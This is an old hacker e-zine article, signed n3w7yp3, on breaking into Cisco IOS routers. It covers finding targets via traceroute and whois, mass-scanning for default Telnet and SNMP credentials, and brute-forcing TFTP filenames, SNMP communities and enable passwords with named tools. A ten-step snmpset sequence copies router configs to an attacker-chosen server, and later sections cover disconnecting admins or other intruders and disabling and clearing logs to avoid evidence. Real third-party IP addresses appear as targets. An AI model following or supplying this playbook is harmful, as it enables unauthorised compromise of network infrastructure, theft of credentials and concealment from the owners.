Cisco Hacking

[View the .TXT here]

0x00: Intro

Cisco hacking has recently come into the spotlight. Micheal Lynn's Black Hat presentation was the first time Cisco exploitation had been opened up to the public. There have been exploits for Cisco devices before (FX of phenoelit produced a few working Cisco exploits a while back, but never publically detailed how they were produced). There also are Cisco 0-day exploits rumored to be in the underground. This is believable, as the Cisco IOS and PIX source code has been stolen on a number of occasions. Perhaps the most famous of these thefts was when franz stole the IOS 12.x source and posted a small (about 4 MB) snippet of it into #darknet@EFNet. Regardless of the relative legality about techniques/papers detailing Cisco exploitation, this is the primary focus of this article. We'll be looking at various techniques for exploiting and preserving access to a Cisco device. For you to get the most out of this article, it's best to have some knowledge of IOS. If you've never given much thought to the routers between you and the website you're visiting, maybe this will open you up to a whole new world. The Internet is not composed solely of Windows and various *nix servers. Routers control the Internet. They make sure that your packets get to where they're meant to. Without them, there would be no Internet. They type of routers that I will be talking about (Cisco IOS based), are not like the Linksys, Netgear or D-link SOHO router that you have sitting in your house. IOS is an Operating System like any other (actually, its completely different from Windows and the various *nix's. But thats beside the point). You can even run various servers off of a Cisco router (provided that TCL support is installed). So, why would an attacker want to control a router? At the most basic level, he may simply be trying to amass a botnet, something that he can use to ICMP flood people. This is a common tactic amongst the script kiddies. A simple search on packetstorm will reveal several utilities to accomplish this. But thats a very poor use of the devices. More sophisticated attackers will use routers to bounce scans into the targets internal network, write ACLs that allow them to connect back to compromised servers, or mirror, redirect and sniff traffic. Even without using 'proper' sniffing (a GRE tunnel), an attack can obtain many useful pieces of information, simply by using the various debug commands. For instance, running `debug ip tcp packet' (as EXEC) will log the TCP packets that pass by. To view them, an attacker could watch them in real time (by running `terminal monitor'), or by simply reading the console logging buffer (`sh logging'). There are also many other things an attack could do with control over a router. They could drop a route to a host, preventing anyone from communicating with it (think DoS here, only its permanent until someone re-adds the route). They could also take over an AS. Really, they're limited by only the scope of their imagination. The information contained herein is not inherently good or bad. Take it how you will.

peace,
-- n3w7yp3

0x01: IOS security

There are many differing opinions on just how secure IOS is. Like any other OS, IOS can be either *very* secure or quite easy to break into. If the default TELNET passwords are removed (and replaced with hard to guess ones, for instance '#^3PyXa&ZYNHQ?j'), as well as the default SNMP communities, your router will probably not be broken into. If however, a router is just plugged in, booted, and an overworked network administrator just hurriedly adds a few routes in, and runs back to finish installing the Windows XP SP2 desktops that management requested a few weeks ago, it will not be secure at all. As far as IOS exploits go, there are not too many, and most are for obsolete versions of IOS. However, there are rumors of newer IOS exploits, such things as being able to change the admin password with a single ICMP packet. Scary, if they do exist (which I believe that they do).

0x20: IOS hacking

So, how do people break into IOS devices anyways? Well, there are several approaches. The first approach is the most commonly used, and by far the easiest. Lets change gears here for a second and become script kiddies..

0x21: The script kiddie approach

Script kiddies are the ones who mainly believe that IOS is easy as hell to break into. You'd honestly be surprised just how many routers out there have default TELNET logins as well as SNMP communities. So, how do script kiddies find these routers? Well, assuming that they have at least a mediocre level of intelligence, they can use BGP queries on public route view routers to find IP ranges that are full of routers. Displaying the BGP table (`sh ip bgp') is a good place to start, and shows the immediate routers peers. If they don't like that approach, they can hunt for backbone networks themselves. The first thing to do is pick a country. Say in this example, the attacker wants to hack only German routers. So, the next thing needed is a list of hosts in Germany. The easiest way to obtain this is simply with google. Googleing for the country code (in this case de) will bring up many sites in Germany (http://www.google.com/search?hl=en&lr=&q=inurl%3Ade&btnG=Search). Now that an attacker has a list of sites, they simply need to use traceroutes to trace the path back to the host and find the backbone. An advanced traceroute tool such as lft makes this even easier:

[n3w7yp3@localhost n3w7yp3]$ lft -N -A -T www.germany-tourism.de
Tracing ..!.........
TTL LFT trace to live01.dzt.de (83.142.129.17):80/tcp
1 [AS?] [IANA-CBLK1] 192.168.1.1 2.6ms
2 [22773] [NETBLK-NV-RDC-70-174-128-0] ip70-174-152-1.dc.dc.cox.net (70.174.152.1) 21.5ms
3 [22773] [NVRDC-68-100-0-0] mrfdsysc01pos0905.dc.dc.cox.net (68.100.1.13) 13.2ms
4 [22773] [NVRDC-68-100-0-0] mrfddsrj02gex070003.rd.dc.cox.net (68.100.0.149) 20.8ms
5 [22773] [NVRDC-68-100-0-0] mrfddsrj01-so010.rd.dc.cox.net (68.100.0.129) 11.3ms
6 [3356] [LC-ORG-ARIN-BLK3] so-6-0-0.gar2.Washington1.Level3.net (67.29.170.1) 102.9ms
7 [3356] [LVLT-ORG-4-8] ae-1-51.bbr1.Washington1.Level3.net (4.68.121.1) 27.6ms
8 [3356] [RIPE-NCC-212/EUROPE-MPLS-CORE] ae-1-0.bbr1.Frankfurt1.Level3.net (212.187.128.30) 103.4ms
9 [3356] [LVLT-ORG-4-8] ge-10-2.ipcolo2.Frankfurt1.Level3.net (4.68.118.138) 109.0ms
10 [3356] [RIPE-C3/FRANKFURT-SERIAL1] 62.67.32.150 110.5ms
11 [3356] [83-RIPE/GC-WEBSOLUTIONS-DE] wodan.insol.de (83.142.128.2) 108.1ms
** [80/tcp failed] Try alternate options or use -V to see packets.

LFT spent 117.30s tracing and 7.01s resolving names and ASNs.
[n3w7yp3@localhost n3w7yp3]$

RIPE-C3/FRANKFURT-SERIAL1 looks interesting:

[n3w7yp3@localhost n3w7yp3]$ whois 62.67.32.150
[Querying whois.ripe.net]
[whois.ripe.net]
% This is the RIPE Whois query server #2.
% The objects are in RPSL format.
%
% Note: the default output of the RIPE Whois server
% is changed. Your tools may need to be adjusted. See
% http://www.ripe.net/db/news/abuse-proposal-20050331.html
% for more details.
%
% Rights restricted by copyright.
% See http://www.ripe.net/db/copyright.html

% Note: This output has been filtered.
% To receive output for a database update, use the "-B" flag

% Information related to '62.67.32.0 - 62.67.33.255'

inetnum: 62.67.32.0 - 62.67.33.255
netname: FRANKFURT-SERIAL1
descr: DE transfer network1
country: DE
admin-c: LTHM
tech-c: LTEE
status: ASSIGNED PA
mnt-by: LEVEL3-MNT
source: RIPE # Filtered

role: LEVEL3 Hostmaster
address: Level (3) Communications
address: 100 Leman Street
address: London
address: E1 8EU
phone: +44-20-7864-4444
remarks: trouble: 24 Hour Call +44-08000-927-729
remarks: trouble: Abuse reports to abuse@eu.level3.net
admin-c: STUD1-RIPE
admin-c: DT16-RIPE
admin-c: MATT69-RIPE
admin-c: JA600-RIPE
admin-c: JT4883-RIPE
tech-c: LTEE
nic-hdl: LTHM
remarks: Peering issues to peering@eu.level3.net
mnt-by: LEVEL3-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@eu.level3.net

role: LEVEL3 Europe IP Engineering
address: Level (3) Communications
address: 100 Prescot Street
address: London
address: E1 8EU
phone: +44-20-7864-4444
remarks: trouble: 24 Hour Call +44-08000-927-729
remarks: trouble: Abuse complaints to abuse@eu.level3.net
admin-c: STUD1-RIPE
admin-c: MATT69-RIPE
tech-c: DT16-RIPE
tech-c: NCO-RIPE
nic-hdl: LTEE
mnt-by: LEVEL3-MNT
source: RIPE # Filtered
abuse-mailbox: abuse@eu.level3.net

% Information related to '62.67.0.0/16AS9057'

route: 62.67.0.0/16
descr: Level 3 DE RIPE block
origin: AS9057
remarks: Abuse reports to abuse@eu.level3.net
remarks: Peering contact is peering@eu.level3.net
mnt-by: LEVEL3-MNT
source: RIPE # Filtered

% Information related to '62.67.0.0/16AS3356'

route: 62.67.0.0/16
descr: Level 3 DE RIPE block
origin: AS3356
remarks: Abuse reports to abuse@eu.level3.net
remarks: Peering contact is peering@eu.level3.net
mnt-by: LEVEL3-MNT
source: RIPE # Filtered


[n3w7yp3@localhost n3w7yp3]$

That would appear to be a good place to start looking. As a last resort, an attacker can use a precollected list of IP addresses complete with netnames to find likely targets. Such a lists are available at http://ip-index.de/ . So, now that an attacker has found a list of IP addresses, how do they break into the routers? There are a number of tools to accomplish this, as a simple search on packetstorm will reveal. The general idea is simply to connect to the chosen port for every IP in the list, send a password (probably Cisco) and see if it lets us in. If it does, log that and move on. Not terribly difficult. A simple Perl script will accomplish this nicely:

[n3w7yp3@localhost raven]$ ./raven.pl
[*] Raven [Mass Cisco router scanner] version 0.1 by n3w7yp3.
[*] Usage: ./raven.pl [options] <-l list>
[*] Options:
-h This help.
-p [port] Port to scan for (default 23).
-s [seconds] Seconds to wait for children (default 60).
-T [threads] Max threads to have running at once.
-t [timeout] Timeout for connections.
[*] The list should contain a list of IP addresses to check.
[n3w7yp3@localhost raven]$

There are more advanced tools, such as cisco-tourch which are capable of doing more:

[n3w7yp3@localhost cisco-torch-0.4b]$ ./cisco-torch.pl
Using config file torch.conf...
Loading include and plugin ...
version
usage: ./cisco-torch.pl <options> <IP,hostname,network>
or: ./cisco-torch.pl <options> -F <hostlist>

Available options:
-O <output file>
-A All fingerprint scan types combined
-t Cisco Telnetd scan
-s Cisco SSHd scan
-u Cisco SNMP scan
-g Cisco config or tftp file download
-n NTP fingerprinting scan
-j TFTP fingerprinting scan
-l <type> loglevel
c critical (default)
v verbose
d debug
-w Cisco Webserver scan
-z Cisco IOS HTTP Authorization Vulnerability Scan
-c Cisco Webserver with SSL support scan
-b Password dictionary attack (use with -s, -u, -c, -w , -j or -t only)
-V Print tool version and exit
examples:

./cisco-torch.pl -A 10.10.0.0/16
./cisco-torch.pl -s -b -F sshtocheck.txt
./cisco-torch.pl -w -z 10.10.0.0/16
./cisco-torch.pl -j -b -g -F tftptocheck.txt

[n3w7yp3@localhost cisco-torch-0.4b]$

There really isn't much more to say on the subject. Mass scanning is neither new nor is it clever.

0x22: More techniques

While none of these techniques qualify as advanced, they are a bit more involved. If the cisco router is running a TFTPd, it may be possible to obtain the device configuration. Why would we want this? Well, it will contain login passwords (maybe in clear text), enable hashes (admin passwords), as well as routes, NTP auth-keys, SNMP RO and RW communities as well as many other goodies. As an added benefit, TFTP does nt have an authentication mechanism, so no login info is needed, However, there is a catch. TFTP does not provide a directory listing. So, you'll have to guess common file names. router-confg, [hostname]-confg, etc are all good guesses. Keeping with the fact that we're executing script kiddie attacks, there are tools to automate this:

[n3w7yp3@localhost TFTP-bruteforce]$ ./tftpbrute.pl
./tftpbrute.pl, , V 0.1
usage: perl ./tftpbrute.pl <tftpserver> <filelist> <maxprocesses>
example ./tftpbrute.pl 192.168.66.202 brutefile.txt 100
[n3w7yp3@localhost TFTP-bruteforce]$

The aforementioned cisco-torch can also accomplish this. You can also use the Simple Network Management Protocol to obtain the device configuration (SNMPd listens on UDP port 161 by default, use nmap to check for it). The first thing you'll need is the SNMP community. This is akin to a password, and again, there are tools to automate this:

[n3w7yp3@localhost ADMsnmp]$ ./ADMsnmp
ADMsnmp v 0.1 (c) The ADM crew
./ADMsnmp: <host> [-g,-wordf,-out <name>, [-waitf,-sleep, -manysend,-inter <#>]]
<hostname> : host to scan
[-guessname] : guess password with hostname
[-wordfile] : wordlist of password to try
[-outputfile]
<name> : output file
[-waitfor] : time in milisecond in each send of snmprequest
[-sleep] : time in second of the scan process life
[-manysend] : how many paket to send by request
[-inter] : time to wait in milisecond after each request

[n3w7yp3@localhost ADMsnmp]$

Once you have that, its easy enough to get the config:

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl
snmpset v2.3.0
Usage: snmpset [options] <hostname> <oid> <type> <value> [...]
Options: -v 1|2c|3 SNMP version
-d Enable debugging
SNMPv1/SNMPv2c:
-c
<community>
Community name
SNMPv3:
-u
<username>
Username (required)
-E
<engineid>
Context Engine ID
-n
<name>
Context Name
-a
<authproto>
Authentication protocol <md5|sha> -A
<password>
Authentication password
-x
<privproto>
Privacy protocol <des|3des|aes> -X
<password>
Privacy password
Transport Layer:
-D
<domain>
Domain <udp|udp6|tcp|tcp6> -m
<octets>
Maximum message size
-p
<port>
Destination port
-r
<attempts>
Number of retries
-t
<secs>
Timeout period

Valid type values:
a - IpAddress
i - INTEGER
c - Counter
o - OBJECT IDENTIFIER
C - Counter64
p - Opaque
g - Gauge/Unsigned32
s - OCTET STRING
h - OCTET STRING (hex)
t - TimeTicks

Here's the step by step process for obtaining the config in several different ways:

1. Set the protocol to be used.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW SNMP community> <target IP> .1.2.6.1.4.1.9.9.96.1.1.1.1.2.<random 3 digit number, put what you like> i <value>

The number that you place in the field decides which protocol to use. 1 is TFTP, 2 is FTP and 3 is RCP.

2. Set the source file type.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.<same number as in step 1> i <value>

The <value> field indicates the source file type. Possible values are: 1 (network file, for example a TFTP server), 2 local file that is *not* a config (such as an IOS image), 3 (startup-config), 4 (running-config), or 5 (STDOUT).

3. Set the destination file type.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.<same number as in 1> i <value>

In this step, the <value> field has the same values as in step 2. Note that in steps 2 and 3, you're specifying whether or not you're downloading or uploading a file to the device. It depends on the values that you set for the source and destination file types.

4. Set the server IP address.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.<same number as in 1> a <TFTP, FTP or RPC server IP address>

5. Set the destination file name.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.<same number as in 1> s <destination file name>

Not all file types require a destination name, but its recommend that you set it. What you do next depends on what method you chose. If you're using TFTP, you're ready to copy the file (see step 8). If you picked RPC or FTP, you'll need to set a username:

6. Add a username (RPC and FTP only).

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.7.<same number as in step 1> s <username>

If you're using RPC, you're ready to go. See step 8. If you're FTP doesn't need a password, jump to step 8. If it does, continue on.

7. Add a password (FTP only).

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.8.<same number as in step 1> s <password>

8. Copy the file.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.<number from step 1> i <value>

The field can be the following:

* 1 (active)
* 2 (notInService)
* 3 (notReady)
* 4 (createAndGo)
* 5 (createAndWait)
* 6 (destroy)

Both 1 and 4 will start the file transfer.

9. Verify that everything is working.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.1.9.9.96.1.1.1.1.10.<number from step 1>

This has a few possible return values:

* 1 (waiting)
* 2 (running)
* 3 (successful)
* 4 (failed)

Anything other than 4 is good.

10. Cleanup.

[n3w7yp3@localhost ADMsnmp]$ snmpset.pl -v <SNMP version> -c <RW community> <target IP> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.<same number as in 1> i 6

Thats it. In as little as 10 steps you can have all the info about the device sitting and waiting for you to read.

0x23: Looking around

At the end of the day, the attacker will have some sort of access to the device. How it was gotten is irrelevant, its what comes next that matters. The first thing to do is see who's logged on. The command `sh users' will accomplish this. If you see any admins (look for IP addresses in IANA reserved ranges, or somebody attached via a console cable), it would be wise to log off. The next thing to do is check the clock. `sh clock' will work fine. This is important because if the router clock says its 1993, chances are nobody even remembers that the router exists. Also, the logs will not be accepted as evidence in court since the timestamp is wrong.

Occasionally, you'll see another hacker is on the device. You can leave them alone, or you can disconnect them:


We're on vty 194. Lets disconnect the guy on vty 195:

Maclaud>enable
Password:
Maclaud#

Now we're logged in wth admin privilages (called EXEC on an IOS device. Also, notice the prompt change). Lets check our privilage level:

Maclaud#sh privilege
Current privilege level is 15
Maclaud#

We should check what IOS version this router is running:

Maclaud#sh version
Cisco IOS Software, 1841 Software (C1841-IPBASE-M), Version 12.4(2)T, RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2005 by Cisco Systems, Inc.
Compiled Thu 23-Jun-05 13:30 by kellmill

ROM: System Bootstrap, Version 12.3(8r)T8, RELEASE SOFTWARE (fc1)

Maclaud uptime is 7 weeks, 6 days, 6 hours, 3 minutes
System returned to ROM by power-on
System image file is "flash:c1841-ipbase-mz.124-2.T.bin"

Cisco 1841 (revision 5.0) with 114688K/16384K bytes of memory.
Processor board ID FCZ093010VC
2 FastEthernet interfaces
1 Serial(sync/async) interface
DRAM configuration is 64 bits wide with parity disabled.
191K bytes of NVRAM.
31744K bytes of ATA CompactFlash (Read/Write)

Configuration register is 0x2102

Maclaud#

Looks like IOS 12.3(8r)T8 which is fairly new.

Thats as high as it goes. Good, we won't have any problems with the disconnect:

Maclaud#clear line ?
<0-198> Line number
async-queue Clear queued rotary async lines
aux Auxiliary line
console Primary terminal line
tty Terminal controller
vty Virtual terminal
x/y Slot/Port for Modems
x/y/z Slot/Subslot/Port for Modems

Maclaud#clear line vty ?
<0-807> Line number

Maclaud#clear line vty 195
[confirm] y
Maclaud#

Thats it. Now all the other guy can do is stare as he sees the "Connection closed by foreign host message" appear. We can also turn off logging be going into the configuration mode, and executing no logging on:

Maclaud#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Maclaud(config)#no logging on
Maclaud(config)#^Z
Maclaud#

Its also wise to view the logs and then clear them:

Maclaud#sh logging
Syslog logging: disabled (1 messages dropped, 2 messages rate-limited,
17156 flushes, 0 overruns, xml disabled, filtering disabled)
Console logging: level debugging, 17182 messages logged, xml disabled,
filtering disabled
Monitor logging: level debugging, 0 messages logged, xml disabled,
filtering disabled
Buffer logging: disabled, xml disabled,
filtering disabled
Logging Exception size (4096 bytes)
Count and timestamp logging messages: disabled

No active filter modules.

Trap logging: level informational, 30 message lines logged

Maclaud#

In this case, there are no logs in the buffer. But we'll clear it anyways:

Maclaud#clear logging ?
xml Clear XML logging buffer
<cr>

Maclaud#clear logging
Clear logging buffer [confirm]y
Maclaud#clear logging xml
Clear XML logging buffer [confirm]y
Maclaud#

Its also a good idea to check such things as the routing table, IP sockets, TCP connections, and the ARP cache:


Okay, so what if you didn't get enable from the get go. What if you were left with only user access? Well, its possible to bruteforce the enable password using something like hydra:

[n3w7yp3@localhost n3w7yp3]$ hydra -t 3 -m <insert login password here> -P passwords.txt <target IP> cisco-enable

That will bruteforce the enable password. One thing that I hope you'll have noticed is that none of these tools are advanced or special. You can easily write ones that are just as good (if not better) yourself.

0x24: Other info.

This section covers what a Cisco device will look like in an nmap scan. Lets check out a common example:

[root@localhost n3w7yp3]# nmap -vvv -sS -sV -O -P0 212.154.131.25

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2006-06-23 13:05 EDT
DNS resolution of 1 IPs took 0.31s.
Initiating SYN Stealth Scan against 212.154.131.25 [1679 ports] at 13:05
Discovered open port 23/tcp on 212.154.131.25
The SYN Stealth Scan took 21.12s to scan 1679 total ports.
Initiating service scan against 1 service on 212.154.131.25 at 13:05
The service scan took 0.45s to scan 1 service on 1 host.
For OSScan assuming port 23 is open, 1 is closed, and neither are firewalled
For OSScan assuming port 23 is open, 1 is closed, and neither are firewalled
For OSScan assuming port 23 is open, 1 is closed, and neither are firewalled
Host 212.154.131.25 appears to be up ... good.
Interesting ports on 212.154.131.25:
Not shown: 1668 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet Cisco router
25/tcp filtered smtp
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1720/tcp filtered H.323/Q.931
1723/tcp filtered pptp
4444/tcp filtered krb524
No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi).
TCP/IP fingerprint:
SInfo(V=4.10%P=i686-pc-linux-gnu%D=6/23%Tm=449C1F77%O=23%C=1)
TSeq(Class=TR%IPID=Z%TS=U)
T1(Resp=Y%DF=N%W=1020%ACK=S++%Flags=AS%Ops=ME)
T2(Resp=N)
T3(Resp=N)
T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU(Resp=N)

TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
IPID Sequence Generation: All zeros
Service Info: OS: IOS; Device: router

Nmap finished: 1 IP address (1 host up) scanned in 40.239 seconds
Raw packets sent: 1789 (81.140KB) | Rcvd: 1748 (80.504KB)
[root@localhost n3w7yp3]#

You can see that it was able to finger print the TELNETd, and was able to use that service info to guess that it was an IOS router. The OS scan was inconclusive, as it only found one open port. Other common ports that may be open are:

Also, now that you've gotten access to the device, you can change passwords, or use it as a bounce (all versions of IOS have telnet client, newer versions have an ssh client as well), as well as sniff and redirect traffic. I'll write a second article about that for the second issue of the EG zine.

Okay, thats it for my article. I hope you enjoyed it and maybe learned something.

peace,
--n3w7yp3